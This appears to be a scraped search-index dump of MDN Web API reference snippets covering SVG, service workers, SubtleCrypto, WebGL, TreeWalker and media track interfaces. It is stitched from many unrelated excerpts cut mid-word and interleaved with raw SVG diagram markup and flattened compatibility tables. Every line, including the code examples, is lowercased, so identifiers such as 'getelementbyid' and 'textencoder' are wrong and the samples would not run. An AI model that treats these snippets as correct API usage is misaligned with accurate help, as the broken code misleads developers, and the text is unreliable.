dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgstopelement" target="_top"><rect x="341" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svg...
SVGTitleElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgtitleelement" target="_top"><rect x="331" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sv...
SVGUnitTypes - Web APIs
n;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgunittypes" target="_top"><rect x="1" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="61" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgunittypes</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_unit_type_unknown 0 the type is not one of predefined types.
... it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgunittypes' in that specification.
Screen.lockOrientation() - Web APIs
syntax lockallowed = window.screen.lockorientation(orientation); parameters orientation the orientation into which to lock the screen.
...so, if the lock is set for only one orientation, the screen orientation will never change until the screen orientation is unlocked.
... otherwise, the screen orientation will change from an orientation to another as long as the orientations are amongst the orientations the device has been locked to.
ScrollToOptions - Web APIs
this is actually defined on the scrolloptions dictionary, which is implemented by scrolltooptions.
...the positions to scroll to along the x and y axes), and a checkbox indicating whether they want smooth scrolling enabled or not.
... when the form is submitted, an event handler is run that puts the entered values into a scrolltooptions dictionary, and then invokes the window.scrollto() method, passing the dictionary as a parameter: form.addeventlistener('submit', (e) => { e.preventdefault(); var scrolloptions = { left: leftinput.value, top: topinput.value, behavior: scrollinput.checked ?
Selection.containsNode() - Web APIs
example check for selection this snippet checks whether anything inside the body element is selected.
...it uses addeventlistener() to check for selectionchange events.
... html <p>can you find the secret word?</p> <p>hmm, where <span id="secret" style="color:transparent">secret</span> could it be?</p> <p id="win" hidden>you found it!</p> javascript const secret = document.getelementbyid('secret'); const win = document.getelementbyid('win'); // listen for selection changes document.addeventlistener('selectionchange', () => { const selection = window.getselection(); const found = selection.containsnode(secret); win.toggleattribute('hidden', !found); }); result specifications specification status comment selection apithe definition of 'selection.containsnode()' in that specification.
ServiceWorkerContainer.startMessages() - Web APIs
the startmessages() method of the serviceworkercontainer interface explicitly starts the flow of messages being dispatched from a service worker to pages under its control (e.g.
... explanation by default, all messages sent from a page's controlling service worker to the page (using client.postmessage()) are queued while the page is loading, and get dispatched once the page's html document has been loaded and parsed (i.e.
...it's possible to start dispatching these messages earlier by calling serviceworkercontainer.startmessages(), for example if you've invoked a message handler using eventtarget.addeventlistener() before the page has finished loading, but want to start processing the messages right away.
ServiceWorkerGlobalScope.onnotificationclick - Web APIs
the serviceworkerglobalscope.onnotificationclick property is an event handler called whenever the notificationclick event is dispatched on the serviceworkerglobalscope object, that is when a user clicks on a displayed notification spawned by serviceworkerregistration.shownotification().
... notifications created on the main thread or in workers which aren't service workers using the notification() constructor will instead receive a click event on the notification object itself.
...}; example self.onnotificationclick = function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }; specifications specification status comment notifications apithe def...
ServiceWorkerMessageEvent.ports - Web APIs
the ports read-only property of the serviceworkermessageevent interface returns an array of messageport objects connected with the message channel the message is being sent through.
... examples when the following code is used inside the main thread to set up a message channel between it and a service worker for sending messages between the two, the event object of onmessage will be a serviceworkermessageevent.
... // set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e.ports); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerRegistration.update() - Web APIs
it fetches the worker's script url, and if the new worker is not byte-by-byte identical to the current worker, it installs the new worker.
... the fetch of the worker bypasses any browser caches if the previous fetch occurred over 24 hours ago.
...xample then adds an event handler to a button so you can explicitly update the service worker whenever desired: if ('serviceworker' in navigator) { navigator.serviceworker.register('/sw-test/sw.js', {scope: 'sw-test'}).then(function(registration) { // registration worked console.log('registration succeeded.'); button.onclick = function() { registration.update(); } }).catch(function(error) { // registration failed console.log('registration failed with ' + error); }); }; specifications specification status comment service workersthe definition of 'serviceworkerregistration.update()' in that specification.
SharedWorker() - Web APIs
name optional a domstring specifying an identifying name for the sharedworkerglobalscope representing the scope of the worker, which is mainly useful for debugging purposes.
... name: a domstring specifying an identifying name for the sharedworkerglobalscope representing the scope of the worker, which is mainly useful for debugging purposes.
... examples the following code snippet shows creation of a sharedworker object using the sharedworker() constructor and subsequent usage of the object: var myworker = new sharedworker('worker.js'); myworker.port.start(); first.onchange = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } second.onchange = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.port.onmessage = function(e) { result1.textcontent = e.data; console.log('message received from worker'); } for a full example, s...
SharedWorkerGlobalScope.onconnect - Web APIs
the connecting port can be referenced through the event object's ports parameter; this reference can have an onmessage handler attached to it to handle messages coming in through the port, and its postmessage() method can be used to send messages back to the main thread using the worker.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonconnectchrome full support 4edge full support ≤79firefox full support 29ie no support noopera full support 10.6safari no support nowebview android full support yeschrome android full support 18firefox android full support 29opera andro...
SourceBuffer.abort() - Web APIs
the mse api is fully asynchronous, but this step seems to suggest a synchronous (blocking) operation, which doesn't make sense.
... in this case you would want to manually call abort() on the source buffer to stop the decoding of the current buffer, then fetch and append the newly requested segment that relates to the current new position of the video.
...in lines 92-101, the seek() function is defined — note that abort() is called if mediasource.readystate is set to open, which means that it is ready to receive new source buffers — at this point it is worth aborting the current segment and just getting the one for the new seek position (see checkbuffer() and getcurrentsegment().) specifications specification status comment media source extensionsthe definition of 'abort()' in that specification.
SourceBufferList - Web APIs
[]) or functions such as foreach() for example.
...idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/sourcebufferlist" target="_top"><rect x="151" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="231" y="30" font-size="12px" fon...
...t-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sourcebufferlist</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties sourcebufferlist.length read only returns the number of sourcebuffer objects in the list.
StereoPannerNode - Web APIs
this interface was introduced as a much simpler way to apply a simple panning effect than having to use a full pannernode.
... number of inputs 1 number of outputs 1 channel count mode "clamped-max" channel count 2 channel interpretation "speakers" constructor stereopannernode() creates a new instance of a stereopannernode object.
...we then use an oninput event handler to change the value of the stereopannernode.pan parameter and update the pan value display when the slider is moved.
StorageManager.persist() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpersistchrome full support 52 full support 52 no support 48 — 52alternate name alternate name uses the non-standard name: requestpersistentedge full support ≤79firefox full support 55ie ?
... webview android full support 52 full support 52 no support 48 — 52alternate name alternate name uses the non-standard name: requestpersistentchrome android full support 52 full support 52 no support 48 — 52alternate name alternate name uses the non-standard name: requestpersistentfirefox android full support 55opera android full support yessafari ios ...
SubmitEvent() - Web APIs
the submitevent() constructor creates and returns a new submitevent object, which is used to represent a submit event fired at an html form.
... syntax let submitevent = new submitevent(type,eventinitdict); parameters type a domstring indicating the event which occurred.
... const form = document.queryselector("form"); const formtrigger = form.queryselector("button.submit"); const submitevent = new submitevent("submit", { submitter: formtrigger }); form.dispatchevent(submitevent); this is a somewhat contrived example, as you can do nearly all of this much more easily, but this gives you deep control over the process that can be useful.
SubtleCrypto.deriveBits() - Web APIs
it returns a promise which will be fulfilled with an arraybuffer containing the derived bits.
... ecdh in this example alice and bob each generate an ecdh key pair.
...; sharedsecretvalue.classlist.add("fade-in"); sharedsecretvalue.addeventlistener("animationend", () => { sharedsecretvalue.classlist.remove("fade-in"); }); sharedsecretvalue.textcontent = `${buffer}...[${sharedsecret.bytelength} bytes total]`; } // generate 2 ecdh key pairs: one for alice and one for bob // in more normal usage, they would generate their key pairs // separately and exchange public keys securely const generatealiceskeypair = window.crypto.subtle.generatekey( { name: "ecdh", namedcurve: "p-384" }, false, ["derivebits"] ); const generatebobskeypair = window.crypto.subtle.generatekey( { name: "ecdh", namedcurve: "p-384" }, false, ["derivebits"] ); promise.all([generatealiceskeypair, generatebobskeypair]).then(values => { const ali...
SubtleCrypto.exportKey() - Web APIs
syntax const result = crypto.subtle.exportkey(format, key); parameters format is a string value describing the data format in which the key should be exported.
... /* convert an arraybuffer into a string from https://developers.google.com/web/updates/2012/06/how-to-convert-arraybuffer-to-and-from-string */ function ab2str(buf) { return string.fromcharcode.apply(null, new uint8array(buf)); } /* export the given key and write it into the "exported-key" space.
... /* convert an arraybuffer into a string from https://developers.google.com/web/updates/2012/06/how-to-convert-arraybuffer-to-and-from-string */ function ab2str(buf) { return string.fromcharcode.apply(null, new uint8array(buf)); } /* export the given key and write it into the "exported-key" space.
SubtleCrypto.wrapKey() - Web APIs
wrapping a key helps protect it in untrusted environments, such as inside an otherwise unprotected data store or in transmission over an unprotected network.
... syntax const result = crypto.subtle.wrapkey( format, key, wrappingkey, wrapalgo ); parameters format is a string describing the data format in which the key will be exported before it is encrypted.
... one advantage of using aes-kw over another aes mode such as aes-gcm is that aes-kw does not require an initialization vector.
SyncManager.register() - Web APIs
the available options are: allowonbattery: a boolean that determines whether synchronization is allowed when the user agent is on a battery-powered device.
... idlerequired: a boolean that determines whether synchronization is allowed when the user agent's device is idle.
... minrequirednetwork: the network condition under which background synchronization will occur.
HTMLSlotElement.assignedSlot - Web APIs
WebAPITextassignedSlot
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetassignedslotchrome full support 53edge full support ≤18firefox full support yesie ?
... opera full support 40safari full support 10.1webview android full support 53chrome android full support 53firefox android full support yesopera android full support 41safari ios full support 10.3samsung internet android full support 6.0legend full support full support compatibility unknown ...
TextDecoder - Web APIs
the textdecoder interface represents a decoder for a specific text encoding, such as utf-8, iso-8859-2, koi8-r, gbk, etc.
... examples representing text with typed arrays this example shows how to decode a chinese/japanese character , as represented by five different typed arrays: uint8array, int8array, uint16array, int16array, and int32array.
...022]); let i16arr = new int16array([-24336, -18514]); let i32arr = new int32array([-1213292304]); console.log(utf8decoder.decode(u8arr)); console.log(utf8decoder.decode(i8arr)); console.log(utf8decoder.decode(u16arr)); console.log(utf8decoder.decode(i16arr)); console.log(utf8decoder.decode(i32arr)); handling non-utf8 text in this example, we decode the russian text "Привет, мир!", which means "hello, world." in our textdecoder() constructor, we specify the windows-1251 character encoding, which is appropriate for cyrillic script.
TextEncoder - Web APIs
if (typeof textencoder === "undefined") { textencoder=function textencoder(){}; textencoder.prototype.encode = function encode(str) { "use strict"; var len = str.length, respos = -1; // the uint8array's length must be at least 3x the length of the string because an invalid utf-16 // takes up the equivelent space of 3 utf-8 characters to encode it properly.
...new array(len * 1.5) : new uint8array(len * 3); for (var point=0, nextcode=0, i = 0; i !== len; ) { point = str.charcodeat(i), i += 1; if (point >= 0xd800 && point <= 0xdbff) { if (i === len) { resarr[respos += 1] = 0xef/*0b11101111*/; resarr[respos += 1] = 0xbf/*0b10111111*/; resarr[respos += 1] = 0xbd/*0b10111101*/; break; } // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae nextcode = str.charcodeat(i); if (nextcode >= 0xdc00 && nextcode <= 0xdfff...
...}; textencoder.prototype.tostring = function(){return "[object textencoder]"}; try { // object.defineproperty only works on dom prototypes in ie8 object.defineproperty(textencoder.prototype,"encoding",{ get:function(){if(textencoder.prototype.isprototypeof(this)) return"utf-8"; else throw typeerror("illegal invocation");} }); } catch(e) { /*ie6-8 fallback*/ textencoder.prototype.encoding = "utf-8"; } if(typeof symbol!=="undefined")textencoder.prototype[symbol.tostringtag]="textencoder"; } source: https://github.com/anonyco/fastestsmallesttextencoderdecoder specifications specification status comment encodingthe definition of 'textencoder' in that specification.
TextTrackList.length - Web APIs
the read-only texttracklist property length returns the number of entries in the texttracklist, each of which is a texttrack representing one track in the media element.
...each track can be accessed by treating the texttracklist as an array of objects of type texttrack.
... var mediaelem = document.queryselector("video, audio"); var numtexttracks = 0; if (mediaelem.texttracks) { numtexttracks = mediaelem.texttracks.length; } note that this sample checks to be sure htmlmediaelement.texttracks is defined, to avoid failing on browsers without support for texttrack.
TrackEvent() - Web APIs
the trackevent() constructor creates and returns a new trackevent object describing an event which occurred on a list of tracks (audiotracklist, videotracklist, or texttracklist).
... syntax trackevent = new trackevent(type, eventinfo); parameters type the type of track event which is described by the object: "addtrack" or "removetrack".
... eventinfo optional an optional dictionary providing additional information configuring the new event; it can contain the following fields in any combination: track optional the track to which the event refers; this is null by default, but should be set to a videotrack, audiotrack, or texttrack as appropriate given the type of track.
TrackEvent.track - Web APIs
WebAPITrackEventtrack
the read-only track property of the trackevent interface specifies the media track object to which the event applies.
... syntax track = trackevent.track; value an object which is one of the types audiotrack, videotrack, or texttrack, depending on the type of media represented by the track.
... this identifies the track to which the event applies.
Transferable - Web APIs
this interface does not define any method or property; it is merely a tag indicating objects that can be used in specific conditions, such as being transfered to a worker using the worker.postmessage() method.
... note: the transferable interface technically no longer exists.
... the functionality of transferable objects still exists, however, but is implemented at a more fundamental level (technically speaking, using the [transferable] webidl extended attribute).
TreeWalker.nextNode() - Web APIs
if no such node exists, returns null and the current node is not changed.
... syntax node = treewalker.nextnode(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.nextnode(); // returns the first child of root, as it is the next node in document order specifications specification status comment domthe definition of 'treewalker.nextnode' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.nextnode' in that specification.
TreeWalker.nextSibling() - Web APIs
if there is no such node, return null and the current node is not changed.
... syntax node = treewalker.nextsibling(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); treewalker.firstchild(); var node = treewalker.nextsibling(); // returns null if the first child of the root element has no sibling specifications specification status comment domthe definition of 'treewalker.nextsibling' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.nextsibling' in that specification.
TreeWalker.whatToShow - Web APIs
non-matching nodes are skipped, but their children may be included, if relevant.
...since attributes are never children of other nodes, they do not appear when traversing over the document tree.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.whattoshow' in that specification.
sourceCapabilities - Web APIs
the uievent.sourcecapabilities read-only property returns an instance of the inputdevicecapabilities interface which provides information about the physical device responsible for generating a touch event.
...for example, when a user lifts their finger off of a touchscreen, several uievents may be generated including touchend, mousedown, click, and focus.
... all of these events must have the same sourcecapabilities representing the touchscreen.
USBAlternateInterface - Web APIs
an interface includes one or more alternate settings which can configure a set of endpoints based on the operating mode of the device.
... constructor usbalternateinterface.usbalternateinterface creates a new usbalternateinterface object which will be populated with information about the alternate interface of the provided usbinterface with the given alternate setting number.
... usbalternateinterface.endpointsread only returns an array containing instances of the usbendpoint interface describing each of the endpoints that are part of this interface.
USBDevice.clearHalt() - Web APIs
a halt condition is when a data tranfer to or from the device has a status of 'stall', which requires the web page (the host system, in usb terminology) to clear that condition.
... what data can be passed to a usb device and how it is passed is particular and unique to each device.
... while (true) { let result = await data.transferin(1, 6); if (result.data && result.data.bytelength === 6) { console.log('channel 1: ' + result.data.getuint16(0)); console.log('channel 2: ' + result.data.getuint16(2)); console.log('channel 5: ' + result.data.getuint16(4)); } if (result.status === 'stall') { console.warn('endpoint stalled.
User Timing API - Web APIs
finding only mark entries requires checking each entry's entrytype for "mark".
...finding the measure entries requires checking each entry's entrytype for "measure".
... interoperability as shown in the performance interface's browser compatibility table, the user timing methods are broadly implemented by desktop and mobile browsers (the only exceptions are desktop safari and mobile safari, however the safari technology preview 24 has support).
VTTCue() - Web APIs
WebAPIVTTCueVTTCue
this is the time, given in seconds and fractions of a second, denoting the beginning of the range of the media data to which this cue applies.
...this is the time at which the cue should stop being presented to the user, given in seconds and fractions thereof.
... return value a new vttcue object representing a cue which will be presented during the time span given.
VideoTrackList.length - Web APIs
the read-only videotracklist property length returns the number of entries in the videotracklist, each of which is a videotrack representing one video track in the media element.
...each track can be accessed by treating the videotracklist as an array of objects of type videotrack.
... var videoelem = document.queryselector("video"); var numvideotracks = 0; if (videoelem.videotracks) { numvideotracks = videoelem.videotracks.length; } note that this sample checks to be sure htmlmediaelement.videotracks is defined, to avoid failing on browsers without support for videotrack.
WakeLockSentinel - Web APIs
examples in this example we create an asynchronous function which requests a wakelocksentinel.
... once acquired we listen for the onrelease event which can be used to give appropriate ui feedback.
... // create a reference for the wake lock let wakelock = null; // create an async function to request a wake lock const requestwakelock = async () => { try { wakelock = await navigator.wakelock.request('screen'); // listen for our release event wakelock.addeventlistener('release', () => { // if wake lock is released alter the ui accordingly }); } catch (err) { // if wake lock request fails - usually system related, such as battery } } wakelockonbutton.addeventlistener('click', () => { requestwakelock(); }) wakelockoffbutton.addeventlistener('click', () => { if (wakelock !== null) { wakelock.release() .then(() => { wakelock = null; }) } }) specifications specification status comment ...
WaveShaperNode - Web APIs
number of inputs 1 number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" constructor waveshapernode() creates a new instance of an waveshapernode object.
...oversampling is a technique for creating more samples (up-sampling) before applying the distortion effect to the audio signal.
...for applied examples/information, check out our voice-change-o-matic demo (see app.js for relevant code).
WebGL2RenderingContext.beginQuery() - Web APIs
the webgl2renderingcontext.beginquery() method of the webgl 2 api starts an asynchronous query.
... the target parameter indicates which kind of query to begin.
... query a webglquery object for which to start the querying.
WebGL2RenderingContext.createVertexArray() - Web APIs
the webgl2renderingcontext.createvertexarray() method of the webgl 2 api creates and initializes a webglvertexarrayobject object that represents a vertex array object (vao) pointing to vertex array data and which provides names for different sets of vertex data.
... return value a webglvertexarrayobject representing a vertex array object (vao) which points to vertex array data.
...// calls to bindbuffer or vertexattribpointer // which will be "recorded" in the vao // ...
WebGL2RenderingContext.getActiveUniforms() - Web APIs
pname a glenum specifying which information to query.
... gl.uniform_is_row_major: returns an array of glboolean indicating whether each of the uniforms is a row-major matrix or not.
... return value depends on which information is requested using the pname parameter.
WebGL2RenderingContext.getBufferSubData() - Web APIs
possible values: gl.array_buffer: buffer containing vertex attributes, such as vertex coordinates, texture coordinate data, or vertex color data.
... srcbyteoffset a glintptr specifying the byte offset from which to start reading from the buffer.
... dstdata an arraybuffer or sharedarraybuffer to which to write the buffer data.
WebGL2RenderingContext.samplerParameter[if]() - Web APIs
pname a glenum specifying which parameter to set.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsamplerparameterichrome full support 56edge full support 79firefox full support 51ie no support noopera full support 43safari no support nowebview android full support 58chrome android full support 58firefox android full support 51opera an...
WebGL2RenderingContext.texImage3D() - Web APIs
gl.luminance: each color component is a luminance component, alpha is 1.0.
... gl.luminance_alpha: each component is a luminance/alpha component.
...possible values: gl.unsigned_byte: 8 bits per channel for gl.rgba gl.unsigned_short_5_6_5: 5 red bits, 6 green bits, 5 blue bits.
WebGL2RenderingContext.texSubImage3D() - Web APIs
gl.luminance: each color component is a luminance component, alpha is 1.0.
... gl.luminance_alpha: each component is a luminance/alpha component.
...possible values: gl.unsigned_byte: 8 bits per channel for gl.rgba gl.unsigned_short_5_6_5: 5 red bits, 6 green bits, 5 blue bits.
WebGLContextEvent - Web APIs
the webcontextevent interface is part of the webgl api and is an interface for an event that is generated in response to a status change to the webgl rendering context.
...ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/webglcontextevent" target="_top"><rect x="116" y="1" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="201" y="30" font-size="12px" font-family="...
...consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">webglcontextevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface inherits properties from its parent interface, event.
WebGLRenderingContext.compressedTexImage[23]D() - Web APIs
see compressed texture formats for which are valid for compressedteximage3d.
...xt ext.compressed_srgb_alpha_s3tc_dxt5_ext when using the webgl_compressed_texture_etc extension: ext.compressed_r11_eac ext.compressed_signed_r11_eac ext.compressed_rg11_eac ext.compressed_signed_rg11_eac ext.compressed_rgb8_etc2 ext.compressed_rgba8_etc2_eac ext.compressed_srgb8_etc2 ext.compressed_srgb8_alpha8_etc2_eac ext.compressed_rgb8_punchthrough_alpha1_etc2 ext.compressed_srgb8_punchthrough_alpha1_etc2 when using the webgl_compressed_texture_pvrtc extension: ext.compressed_rgb_pvrtc_4bppv1_img ext.compressed_rgba_pvrtc_4bppv1_img ext.compressed_rgb_pvrtc_2bppv1_img ext.compressed_rgba_pvrtc_2bppv1_img when using the webgl_compressed_texture_etc1 extension: ext.compressed_rgb_etc1_w...
... offset a glintptr specifying the offset in bytes from which to read from the buffer bound to gl.pixel_unpack_buffer.
WebGLRenderingContext.pixelStorei() - Web APIs
syntax void gl.pixelstorei(pname, param); parameters pname a glenum specifying which parameter to set.
... glboolean false true, false webgl gl.unpack_premultiply_alpha_webgl multiplies the alpha channel into the other color channels glboolean false true, false webgl gl.unpack_colorspace_conversion_webgl default color space conversion or no color space conversion.
... var tex = gl.createtexture(); gl.bindtexture(gl.texture_2d, tex); gl.pixelstorei(gl.pack_alignment, 4); to check the values for packing and unpacking of pixel data, you can query the same pixel storage parameters with webglrenderingcontext.getparameter().
WebGLRenderingContext.polygonOffset() - Web APIs
syntax void gl.polygonoffset(factor, units); parameters factor a glfloat which sets the scale factor for the variable depth offset for each polygon.
... units a glfloat which sets the multiplier by which an implementation-specific value is multiplied with to create a constant depth offset.
... gl.enable(gl.polygon_offset_fill); gl.polygonoffset(2, 3); to check the current polygon offset factor or units, query the polygon_offset_factor and polygon_offset_units constants.
WebGLRenderingContext.sampleCoverage() - Web APIs
syntax void gl.samplecoverage(value, invert); parameters value a glclampf which sets a single floating-point coverage value clamped to the range [0,1].
... invert a glboolean which sets whether or not the coverage masks should be inverted.
... gl.enable(gl.sample_coverage); gl.samplecoverage(0.5, false); to check the sample coverage values, query the sample_coverage_value and sample_coverage_invert constants.
WebGLRenderingContext.texSubImage2D() - Web APIs
gl.luminance: each color component is a luminance component, alpha is 1.0.
... gl.luminance_alpha: each component is a luminance/alpha component.
...possible values: gl.unsigned_byte: 8 bits per channel for gl.rgba gl.unsigned_short_5_6_5: 5 red bits, 6 green bits, 5 blue bits.
WebGLRenderingContext.viewport() - Web APIs
the webglrenderingcontext.viewport() method of the webgl api sets the viewport, which specifies the affine transformation of x and y from normalized device coordinates to window coordinates.
... examples when you first create a webgl context, the size of the viewport will match the size of the canvas.
...to get this range, you can use the max_viewport_dims constant, which returns an int32array.
Canvas size and WebGL - Web APIs
in contrast, no such assignment is done for the second canvas.
... the internal width and height properties of the canvas remain at default values, which are different than the actual size of the canvas element in the browser window.
